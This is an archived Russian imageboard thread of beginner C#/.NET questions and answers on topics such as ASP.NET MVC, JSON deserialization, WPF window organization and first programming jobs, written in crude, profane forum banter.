и я реально что-то туплю как сделать конвертацию не зная какой тип я ожидаю. Хочется следующего: Добавить метод расширения для ProtocolObject в виде GetAttributeValue(this ProtocolObject @object, int index), и получать оттуда уже нормальное значение(время, массив или что-то еще), но как это сделать не совсем понимаю. Типа если я сделаю этот метод дженериком - я должен буду знать какой тип хочу получить, что неприкольно, если я буду возвращать object - опять же будет необходимо приводить это к .net типам из вне. А как тогда нормально-то сделать?
Возвращаешь объект в зависимости от аргумента. А там где его нужно использовать узнаешь его тип через GetType().Name и кастишь уже к нужному типу.
>17. Что еще нужно знать, чтобы взяли работать за еду?
- SQL - подойдет люая книг по MSSQL/MySQL, базовые запросы, SELECT, INSERT, DELETE, UPDATE. Джойны, индексы, нормализация. В контексте шарпа еще ORM: Entity Framework, Dapper
Где лучше всего по быстрому изучить SQL? Какие-то может быть курсы от msft есть?
Закончил магистратуру и нужно срочно искать работу прогером c#, а про эту шляпу впервые слышу.
> Аноны, а сколько времени на вкат с нуля надо
Неделя
> И в какую область быстрее всего выйдет?
Embedded
Технология древняя, если тебе недостаточно ресурсов в интернете, значит вкатываться тебе не в шарп нужно, а на кассу/курьером
Ты хочешь сказать, что за неделю дроча можно найти первую работу или стажировку C# прогером?
Сестра прошла недельный курс на java и сразу устроилась за 60к. Образование у нее вообще гуманитарное. Сейчас 100к получает.
А я семь лет в универе по технической специальности с многолетним опытом писания на c# пока ни дня не работал.
Просто мимо проходил
Я за лето жавараша вкатился. Это был 2014 год, днём я работал в магните, а по вечерам осваивал жабу.
По образованию - бакалавр туризма.
Нуууу, если про прям мейнстрим или всякие стартапы - не нужно.
Но вот я работаю на заводе который делает умные девайсы и тут начали кору пихать в эти самые девайсы, и охуенно оно там живет, разработка упростилась в разы, тестирование и прочее тоже. В общем, есть те кому эта кроссаплатформенность оч сильно зашла, потому что конкуренты тоже пихают сейчас кору в свои девайсы. Вот.
нет ту все правильно
Он подтянется в Unity, Godot, CryEngine. И его пропихивают через Azure, у которого сейчас дела сильно в гору идут. Amazon себя за хвост от зависти кусает. В винде дотнет будет по умолчанию, т.е. не надо будет никаких других веб серваков и языков устанавливать - бери и делай. Powershell (каждый второй сисадмин и многие девопсы его используют) теперь на дотнет коре работает.
Даже Гугл и Амазон делают поддержку для своих основных тулзяк под дотнет. У Аманазона вообще есть внутренняя дотнет команда, которые вот эту штуку запилили https://aws.amazon.com/about-aws/whats-new/2020/07/introducing-porting-assistance-for-net-analytic-tool-migrate-net-framework-net-core/
Мы её уже на одном и старых приложений опробовали.
В с++ это делается легко - в настройках дебага ставлю систему console. в релизе - windows
В С# такого не нашел. В свойствах проекта можно выбрать Console Application, но оно будет и для дебага и для релиза. А постоянно руками переводить уныло
Можно же через код?.. Через System.Console? а то ничего не нашел
Есть ли нечто подобные как в эклипсе (жава)?
>друг
>на полставки в какой-то компании имеет 40к
>готовиться выход .net 5.0
а потом ты проснулся и вспомнил, что все откомпилированно в MSIL и обращенно все в говно, рыбы, водоросли, медузы, все из говна, даже небо, даже Аллах!.
Можно добить до 1999 и 2000 постом сделать перекот.
Качаешь dotnet SDK под свою любимую ОС и вперёд - https://dotnet.microsoft.com/download/dotnet-core/3.1
Открываешь https://dotnet.microsoft.com/learn и начинай выполнять туториалы.
dotnet new console -o myApp
cd myApp
dotnet run
Чтобы стартануть веб проект нужно
dotnet new webApp -o myWebApp --no-https
cd myWebApp
dotnet run
http://localhost:5000
А сколько времени на вкат с нуля нужно? Если я полный ноль теоретический. Под вкатом подразумеваю первую работёнку
Мимокрок
На любого программиста надо года два сидеть учиться и проектики делать, чтобы понять что к чему. Главное вообще понять что такое код. А дальше хоть шарп, хоть жава, хоть какая-то надстройка, типа фреймворка - всё будет легче даваться, потому что принцип везде один.
ты не понял, я не про то как в дебаге писать. Я спрашивал как вывести окно консоли
>то, что мертво умереть не может
- "но восстает вновь, сильнее и крепче, чем прежде"
Всегда поражали дауны, которые цитируют эту фразу не понимая что она значит, и не зная что это только часть фразы (вторая часть выше).
В настройках проекта я не могу его включить только для дебага. А постоянно переключать надоело.
В С++ это легко делается
пинвоком вызываешь AttachConsole из kernel32.dll, чтобы только дебаге было используешь конструкцию #if DEBUG #endif
задрот GOT в треде, срочно прячьте своих дочерей
По сабжу - какие либы в MVC (Razor) можно прикрутить типо Material Ui или Ant?
И да, зачем в 2к20 при дефолтном создании проекта комплектуется Bootstrap и jQuery? Это шутка от мелкософта?
Я создаю .NET Standard 2.0 библотеку к ней подключаю nuget пакет
Например, Mailkit https://www.nuget.org/packages/MailKit/
Я собираю и не вижу библиотек Mailkit в папке с собранной библиотекой
Нагуглил что если просписать в проекте
<AppendTargetFrameworkToOutputPath>false</AppendTargetFrameworkToOutputPath>
<CopyLocalLockFileAssemblies>true</CopyLocalLockFileAssemblies>
Первое убирает создание папки netstandard2.0
Второе таки копирует библиотеки которые попали из нюгета, но вместе с этим в папку попадает пачка системных библиотек
В итоге получаю такую картину(пикрелейтед)
Почему так происходит?
И нужны ли эти библиотеки если они и так вроде как в нет фреймворк входят который установлен на машине
>Bootstrap и jQuery
Это старый темплейт, который кочует из версии в версию. Фронт должен быть отдельно (имеется ввиду static files - js + css). Html можно и через Razor Pages запилить.
Material Ui и Ant - это фронт, соответственно бери свои js + css и пили как хочешь.
>Фронт должен быть отдельно
Я не про WebApi, а про этот сраный болейрплейт от мелкософтов под одним копотом, ака MVC. Если все нужные мне либы закинуть в wwwroot эта каша скомпилируется потом? И как тогда проброс делать из контроллера, если это будет не Razor page?
Причём тут WebApi??
У МС есть несколько темплейтов для создания веб проекта. Есть древние и один из них до сих пор используется для создания MVC проекта. Никто тебя не заставляет создавать своё приложение через этот темплейт. Можешь вообще все до единого файла в блокноте написать. Там кода строк 50 чтобы новый полностью рабочий веб проект запустить.
Visual Studio только делает вид, что твой бэк и фронт живут вместе. На самом деле они живут в своих собственных мирах на 100% изолированно друг от друга. Ты свои статичные файлы (js/css/img/font) браузеру миллионом разных способов отдавать можешь. И общаться c сервером можешь хоть через аякс, хоть через пост бэки, хоть через gRPC, хоть через SignalR (WebSocket). И привязывать на фронте можешь хоть Material Ui, хоть Ant.
Ты, скорее всего, ещё плохо понимаешь как веб приложение в принципе работает. Тогда тебе тем более вредно вшитые project templates использовать. Пытайся делать полностью пустые проекты и подключать элементы один за одним по мере необходимости.
Берёшь CDN ссылку на нужный js или css файл, закидываешь руками на нужную страницу (скорее всего *.cshtml). Потом выбираешь как хочешь данные между бэком и фронтом передавать. В твоём случае у тебя 2 пути: backend rendering via Razor или front-end rendering via Ajax.
В случае с рендерингом на бэке тебе надо будет возвращать готовый хтмл из твоего контроллера через View("ViewName", someData).
Для Ajax надо будет возвращать или просто текст или JSON.
Всё очень просто и прозрачно. К сожалению для "облегчения" вкатыльщиков MS решили накидать сложного бойлерплейта, чтобы было всё и сразу.
Можно написать консольную приложуху на старом дотнете и пинать её для выгрузки данных.
>В твоём случае у тебя 2 пути: backend rendering via Razor или front-end rendering via Ajax.
У меня уже есть опыт с WebApi + ReactJs. До этого хотел делать под одним капотом, но для рендеринга там какие то ChakraCore V8, еще какая то хуета нужна была. Короче плюнул и сделал полностью разделенный функционал, из за чего ловил батхерд с деплоем, т.к. реакт проект закинуть на фришный хостинг - нехуй делать, а вот с говном под названием ASP.NET Core - целая мантра (Azure не в счет).
Так или иначе, backend rendering via Razor, как ты назвал - у меня есть представление, как делать - прокидывать модель или viewbag через контроллер в View и назад. А вот что насчет via Ajax? Как страница будет рендериться в этом случае? На реакт проекте, который хостится на ноде реактивно все рендерится, а тут что будет? Кинь ссылку на пример, нипанимаю
ChakraCore V8 вообще не про то, о чём ты думаешь. Тут уже обсуждалось как-то. TLDR - он тебе нафиг не нужен.
Лень примеры писать или искать. React/Angular/Vue как раз через Ajax с серваком и общаются. Кидают туда-сюда JSON объекты.
fetch("https://api.example.com/items")
.then(res => / собирай свой объект и потом используй его в своём html для отрисовки /);
Это абсолютно то же самое что мы на jquery делали:
$.ajax({
url: "https://api.example.com/items"
}).done(res => / собирай свой объект и потом используй его в своём html для отрисовки /);
>а вот с говном под названием ASP.NET Core - целая мантра (Azure не в счет)
Приколист. Если у тебя есть доступ к VM, то ставишь dotnet и запускаешь на нём своё приложение. В зависимости от соединения и удобства инструментов от 1 часа до 1 дня работы.
Azure/GCP/AWS уже имеют настроенные веб серваки и предоставляют к ним доступ через App Service.
Если есть возможность запускаться через Docker, то добавляешь Dockerfile в свой проект, билдишь образ и деплоишь. За пару часов можно разобраться.
https://docs.docker.com/engine/examples/dotnetcore/
Если у тебя хостинг через какой-нибудь GoDaddy, то тут борода конечно - новых технологий давно не завозили.
получается я прокидываю ajax запросы на тот же домен, где и фронт и бэк, только по разным раутам? И я все еще не понял, что будет рендерить фронт, если будут статик файлы в виде библиотек JS-a?
Я уже выпилил все из папки wwwroot, через Razor pages я уже пилил когда то, сейчас хочу попробовать все под один капот засунуть, только картина до сих пор не ясна
>картина до сих пор не ясна
Она сейчас и не будет ясна с такими то знаниями. Задрачивай это с пол годика каждый день и всё придёт. Только надо при этом официальные доки читать.
Тут прикол не в дотнете или реакте или каком-либо другом языке/фреймворке. Тут прикол в том, что у тебя базовые знания о том как веб в принципе работает отсутствуют. Когда всё на свои места встанет, сможешь и на жаве и на питоне и на чём угодно, что умеет обрабатывать запросы от веб сервака, один и тот же сайт запилить.
>Razor pages пилил когда то
Razor Pages - это новый фреймворк. Не путый со стандартным Razor script, которому уже больше 10 лет. Так что если ты на нём и пилил, то совсем недавно.
Вот разрабатываю программу, в которой будет дохрена всяких окон и у них в свою очередь будет дохрена подокон (окон которые из них вызываются). Сначала начал от балды в одно пространство создавать - сразу же запутался где какое окно кому принадлежит - надо поправить шрифт или надпись, а хрен вспомнишь где код именно этого окна.
Попытался организовать как на пикче. Все равно сложно искать
Наверняка же есть методология как правильно все это организовать и разложить по простраству имен и папочкам.
> с такими то знаниями
>Задрачивай это с пол годика
>надо при этом официальные доки читать
>знания о том как веб в принципе работает
Зачем ты проецируешь свой опыт? В чем конкретно мои знания тебя так огорчили, что я не знаю, как обрабатываются статик файлы в контроллере и обратно? Я уже писал - есть не плохой опыт на WebApi - там все ясно, как божий день - прокидываешь http/s запросы по REST и все заебись. Тут же - хуй пойми что и как
>Наверняка же есть методология как правильно все это организовать и разложить по простраству имен и папочкам.
Да, называется MVVM. Создаешь папки Models, Views, ViewModels. В папке Models размещаешь все сущности с которыми будешь работать, в папке Views все xaml и xaml.cs файл, т. е. окна, в папке ViewModels все классы которые будут добавляться к Views в xaml.cs и скоторыми ты будешь работать через xaml окон.
Я не он, но вот интересно.
Как у тебя выглядят ViewModel и Model
Потому что у меня ViewModel зачастую получаются банальными обвертками вкоруг Model.
Чего добавляется это только ньюансы с непосредственным выводом на экран, валидация и нотификации интерфейса об изменениях в полях.
И получается все вызовы к методам модели тоже просто оборачиваются методами вьюмодели.
Из-за этого код разбухает на ровном месте.
Ну да. Велком ту разрабьётка. А есть еще и DTO, которые еще одна практически копия вью модели. И того на одну сущность три почти одинаковых класса.
А вьюмодели необходимы, когда у тебя есть связанные данные, которые в json'e будут циклироваться. Типа у тебя класс Bomj содержит класс Bomjiha, которая содержит класс Bomj, который...
В ViewModel у меня набор команд и моделей которые я использую в относящемся к нему View, т. е. это объединение View и Model. Нотификация достигается за счет реализации интерфейса INotifyPropertyChanged у классов в Model, валидация происходит в методе CanExecute команд.
>Да, называется MVVM
нет. Это вообще не то.
Ну будет у меня 100500 xaml в папке View - как это мне поможет находить среди них нужное?. Как это мне поможет понять что вот это окно связано вон с тем окном?
"Вот это вот с тем" у тебя уже есть на пикриле из твоего поста, создаешь Views, в ней папки с видами, в них папки с подвидами. Чего ты ожидал, волшебной пилюли которая за тебя всё сортировать будет?
Для того чтобы не бегать по коду каждого окна и изменять в нём шрифт, существуют наборы стилей, если у тебя нет общего стиля и в каждом окне свои тип шрифта, размера, жирности и т. д. то на каждый View можешь создавать еще и набор стилей, подключил один раз в xaml, а изменения вносишь уже непосредственно в сам файл со стилями.
Ты меня вообще не понял.
>Для того чтобы не бегать по коду каждого окна и изменять в нём шрифт, существуют наборы стилей
Опять не то. Смотри.
Я запускаю свою программу, тестирую - и где-то ебенях интерфейса через 100500 прошедших окон я вижу косяк - например мне не нравится текст надписи, или возможно размер элемента не вмещает всю строку считаную из бд или еще чего..
Теперь мне надо найти xaml этого окна в папке VIew, где находятся еще 10500 других окон. И в итоге я начинаю каждое открывать, смотреть, пытаться вспомнить - это окно или не это.
То есть весь вопрос - как организовать удобную иерархию папок чтобы сразу находить xaml нужного окна
короче такая тема: есть json файл, который содержит название поля класса - его значение
Есть ли какие-то готовые решения, чтобы я мог инициализировать класс из этого жисона? Свои велосипеды написать не сложно, но хочется что-то типа Class class = JsonUtility.Deikpukserk(json)
спасибо
стандартный десериализатор от майков и newtonsoft.json
Так в чём проблема, блять? Смотри.
У меня есть окно которое выполняет функцию n, я вижу что-то, что я хотел бы в нём изменить, в поиске по решению я вбиваю окновыполняющеефункциюn и нахожу его.
Твой пример можно понять только если у тебя названия окон не отражают их предназначения.
И каким хуем у тебя 100500 окон в проекте? Может ты при изменении названия кнопки создаешь отдельное окно, вместо того чтобы изменить название кнопки в уже существующем?
Мне выдает ошибку что
unsafe code may only appear if compiling with /unsafe
Я делаю билд просто щелкая правой кнопкой по проекту и дальше build solution.
>поставь галочку напротив allow unsafe code
там нет такого. Вообще в конфиге нет ничего про билд.
Использую VS2019
Анон, распиши как ты это открыл.
Может мы про разные вещи говорим.
Я делаю следующее: щелкаю в Solution Explorer по myProject и дальше выбираю Properties.
Ты наверное щелкаешь по солюшену, а нужно по проекту
Потому что у тебя вопросы как у наших джунов. И они точно также агрятся, когда им указываешь на отсутствие каких-то знаний. И я такой же лет 12 назад был.
У сеньора (даже если он с дотнетом только вчера познакомился) таких проблем обычно не возникает.
кто агрится? Ты или шаришь опыт или тыкаешь, что не так. Твои фантазии ака "пол года", "отсутствие знаний" оставь при себе
Я зашарил опыт, дальше у тебя пошли какие-то странные вопросы.
>что будет рендерить фронт, если будут статик файлы в виде библиотек JS-a?
JS будет рендерить. Притащит данные через аякс и через какой-нибудь MVVM (knockout, react, vue) забиндит модель с данными с заранее написанным темплейтом. Либо ручками нагенерит html элементы.
http://www.cpp.sh/2dxqg
А можешь просто как-нибудь переконвертировать мой C++ в C#, чтобы я хотя бы понял, как оно у вас выглядит?
Хотя бы скажи, почему я у вас указатель на тип класса не могу создать, и какая тут есть альтернатива.
У нас значение по умолчанию для переменной-ссылки - null, поэтому нужно писать var someClass = new someClass();
>указатель на тип класса
Для того чтобы указывать на тип нужно чтобы этот тип был с модификатором static.
Нет, блядь, нет, я точно помню, что методы всегда с большой буквы писались
Так в том-то и дело! Приду, не поленюсь, заскриню. Даже решарпер предлагает варианты с маленькой буквы
Я уж подумал, что мандела случилась
Хотя у меня всю ночь охуительные сновидения были, может, приснилось
Похоже, приснилось мне это все. А ведь как вживую помню - открываю репу, там методы с маленькой буквы. Скроллю вверх, а там подписано, что последний коммит в 2013 году был. Еще решарпер этот. Охуеть. Не ложитесь поздно спать, пацаны
Есть файл Program.cs с классом Program. В нём есть static void Main и private void getInformation().
getInformation вызывается в Main и он же дает ошибку. Как это пофиксить?
Main.GetInformation()
Вот что ты пытаешься сделать, грубо говоря. Нельзя использовать нестатические штуки из статических, потому что статику можно юзать всегда, она тупо есть. А нестатику – сперва надо создать что-то у созданного объекта уже вызывать
var x = new Main();
x.GetInformation():
Ты, кстати, хули с маленькой буквы названия метода написал?
System.Text.Json
- уже вшит в базовый фреймворк;
- судя по бенчмаркам работает быстрее на хайлоаде с большими json объектами;
- кастомизировать сложнее.
Newtonsoft.Json
- надо nuget пакет тащить;
- древний и откалиброванный под мелкие задачи;
- куча классов хелперов, из-за которых твой код выглядит симпатичнее.
Для новых проектов на новом донете лучше системный использовать - его постоянно пилят и улучшают и он по умолчанию поддерживается в aspnetcore. Newtonsoft надо будет руками прописывать в сетапе.
Добавь модификатор static методу GetInformation
>у тебя названия окон не отражают их предназначения.
this. Даже не знаю как именовать, чтобы потом находило.
>>795338
>И каким хуем у тебя 100500 окон в проекте?
Прога будет большой, много всяких настроек, отчетов, просмотров. А тулить все в одно окно - слишком сложная структура, либо придется отказаться от визуального редактора
А такое может быть, у меня однажды пизданулись все залинкованые к проекту либы, хотя вс показывала что все ок, помог только выпил директории и гит пул
Хм. Вроде перекатил
using добавь... если не определяется, добавь в проект ссылку на библиотеку
если не поможет, попробуй clean & rebuild solution или удали бинарники, перезапусти студию. бывает заедает её
можно попробовать ещё dotnet/nuget restore
бинарники надо было удалить просто, или сбросить кеш в студии
в замен могу оставить тестовый акк и 50 гигов квоты на нем
Потому чо это не так, и ты это знаешь, но вылез позлорадствовать в самый подходящий для тебя момент.
Это копия, сохраненная 3 января 2021 года.
Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее
Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.